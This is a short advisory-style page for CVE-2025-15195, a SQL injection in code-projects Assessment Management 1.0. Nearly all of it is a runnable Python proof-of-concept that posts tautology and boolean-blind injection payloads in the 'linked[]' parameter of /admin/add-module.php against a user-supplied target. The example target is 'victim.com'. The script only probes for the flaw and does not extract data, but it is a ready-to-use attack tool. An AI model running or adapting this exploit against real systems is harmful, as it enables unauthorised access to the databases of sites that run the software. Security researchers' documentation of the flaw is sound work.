CVE-2025-15195: code-projects Assessment Management 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15195 SQL Injection PoC # Target: code-projects Assessment Management 1.0 # Endpoint: /admin/add-module.php def exploit(target_url, param_value): """ SQL Injection PoC for CVE-2025-15195 The 'linked[]' parameter in /admin/add-module.php is vulnerable to SQL injection """ url = f"{target_url}/admin/add-module.php" # Malicious payload in linked[] parameter data = { 'linked[]': param_value, 'module': 'test_module', 'course': '1' } try: response = requests.post(url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15195.py <target_url>") print("Example: python cve-2025-15195.py http://victim.com") sys.exit(1) target = sys.argv[1] # Test basic SQL injection payload = "1' OR '1'='1" print(f"[*] Testing SQL injection on {target}") result = exploit(target, payload) print(f"[+] Response received, length: {len(result)}") # Blind boolean injection test blind_payload = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END) AND '1'='1" print(f"[*] Testing blind injection") exploit(target, blind_payload)